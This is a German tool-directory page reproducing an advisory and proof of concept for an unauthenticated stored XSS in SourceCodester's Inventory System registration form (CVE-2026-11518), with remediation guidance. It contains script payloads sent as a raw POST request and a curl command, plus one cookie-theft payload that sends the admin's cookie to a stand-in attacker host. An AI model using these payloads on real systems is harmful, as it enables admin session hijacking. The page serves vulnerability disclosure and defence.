Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-11518-XSS — Proof-of-Concept für unauthentifiziertes gespeichertes XSS in SourceCodester Inventory System, das die Übernahme der Admin-Sitzung durch manipulierte Registrierungs-Payloads demonstriert. | Kitploit
Tools/GitHubGitHub/xmyronn/cve-2026-11518-xss
SchwachstellenanalyseWebanwendungs-ExploitationWebsicherheitCTFPenetrationstestsLernen & Bildung
GitHubxmyronn/cve-2026-11518-xss

CVE-2026-11518-XSS

Proof-of-Concept für unauthentifiziertes gespeichertes XSS in SourceCodester Inventory System, das die Übernahme der Admin-Sitzung durch manipulierte Registrierungs-Payloads demonstriert.

Repository anzeigen
14vor 4 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Stored XSS im Inventarsystem mit PHP und MySQL

Details zur Schwachstelle

FeldDetails
SchwachstellentypStored Cross-Site Scripting (XSS)
Betroffene AnwendungInventarsystem mit PHP und MySQL
AnbieterSourceCodester
Betroffene Version1.0
Betroffene Dateiregister.php
Parameterfullname, username
Authentifizierung erforderlichNein (nicht authentifiziert)
AuswirkungenÜbernahme der Admin-Sitzung, Ausführung schädlicher Skripte im Admin-Panel
CVSS-Score8.8 (Hoch)
CVSS-VektorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N

Beschreibung

Das Inventarsystem mit PHP und MySQL von SourceCodester (eingereicht am 23. Mai 2026) ist anfällig für Nicht authentifiziertes Stored Cross-Site Scripting (XSS) im Mitarbeiterregistrierungsmodul (register.php).

Die Eingabefelder fullname und username bereinigen oder kodieren die benutzergelieferten Eingaben nicht, bevor sie in der Datenbank gespeichert werden. Wenn ein Administrator die Benutzerverwaltungsseite (users.php) besucht, werden die ungereinigten Nutzlasten direkt im HTML-Kontext gerendert, was zur sofortigen JavaScript-Ausführung in der Browsersitzung des Admins führt.

Da die Registrierung keine Authentifizierung erfordert, kann ein entfernter, nicht authentifizierter Angreifer beliebiges JavaScript injizieren, das im Kontext jedes Administrators ausgeführt wird, der das Benutzerverwaltungspanel aufruft.


Angriffsszenario

  1. Der Angreifer besucht /product_inventory/register.php – kein Login erforderlich.
  2. Der Angreifer sendet eine schädliche Nutzlast in den Feldern fullname und/oder username.
  3. Die Nutzlast wird ohne Bereinigung in der Datenbank gespeichert.
  4. Wenn der Admin sich anmeldet und zu /product_inventory/users.php navigiert, wird die Nutzlast automatisch im Browser des Admins ausgeführt.
  5. Der Angreifer kann das Sitzungscookie des Admins stehlen, ihn auf eine Phishing-Seite umleiten oder jede Aktion im Namen des Admins ausführen.

Nachweis des Konzepts

Schritt 1 — Navigieren zur Registrierungsseite (keine Authentifizierung erforderlich)

http://<ZIEL>/product_inventory/register.php

Schritt 2 — Senden Sie das folgende Registrierungsformular

Nutzlast im Feld Vollständiger Name:

<script>alert(1)</script>

Nutzlast im Feld Benutzername:

<script>alert(2)</script>

Passwort: beliebiger Wert (z.B. test1234)

Schritt 3 — HTTP-Anfrage (Burp Suite / curl)

POST /product_inventory/register.php HTTP/1.1
Host: <ZIEL>
Content-Type: application/x-www-form-urlencoded

fullname=<script>alert(1)</script>&username=<script>alert(2)</script>&password=test1234&submit=

curl-Entsprechung:

curl -X POST "http://<ZIEL>/product_inventory/register.php" \
  -d "fullname=<script>alert(1)</script>&username=<script>alert(2)</script>&password=test1234&submit="

Schritt 4 — Auslösen als Admin

Melden Sie sich als Administrator an und navigieren Sie zu:

http://<ZIEL>/product_inventory/users.php

Beide Nutzlasten werden sofort beim Laden der Seite ausgeführt.


Auswirkungen

Ein nicht authentifizierter Angreifer kann:

  • Admin-Sitzungscookies stehlen — Eskalation zur vollständigen Übernahme des Admin-Kontos
  • Admin auf Phishing-Seiten umleiten
  • Admin-Aktionen still durchführen über JavaScript (Benutzer erstellen/löschen, Inventar manipulieren)
  • Einen dauerhaften Keylogger im Admin-Panel bereitstellen
  • Die Admin-Oberfläche verunstalten

Beispielnutzlast für Cookie-Diebstahl (durch Angreiferserver ersetzen):

<script>document.location='http://angreifer.com/steal?c='+document.cookie</script>

Screenshots

Schritt 1 — Einfügen von Nutzlasten im Registrierungsformular

Bildschirmfoto 2026-05-24 051430

Schritt 2 — XSS wird auf der Admin-Seite users.php ausgelöst

Bildschirmfoto 2026-05-24 051452

Betroffener Code (Ursache)

Die Schwachstelle besteht, weil register.php Benutzereingaben ohne Bereinigung direkt in die Datenbank einfügt und users.php die gespeicherten Werte ohne htmlspecialchars()-Kodierung ausgibt.

Verwundbares Muster in users.php (ungefähr):

// Unsicher – gibt Rohdaten aus der Datenbank direkt in HTML aus
echo $row['fullname'];
echo $row['username'];

Behebung — Ausgabekodierung anwenden:

echo htmlspecialchars($row['fullname'], ENT_QUOTES, 'UTF-8');
echo htmlspecialchars($row['username'], ENT_QUOTES, 'UTF-8');

Zusätzlich sollten Eingaben beim Einfügen in register.php mittels strip_tags() oder vorbereiteter Anweisungen mit ordnungsgemäßer Validierung bereinigt werden.


Behebung

  1. Kodieren Sie alle Ausgaben mit htmlspecialchars() und ENT_QUOTES, bevor Sie benutzergelieferte Daten in HTML rendern.
  2. Validieren und bereinigen Sie alle Eingabefelder serverseitig am Eingabepunkt.
  3. Implementieren Sie einen Content-Security-Policy (CSP)-Header, um die XSS-Auswirkungen zu mildern.

Referenzen

  • SourceCodester — Inventarsystem mit PHP und MySQL

Gemeldet von Syed Imad Uddin Alvi — Unabhängiger Sicherheitsforscher

Tool herunterladen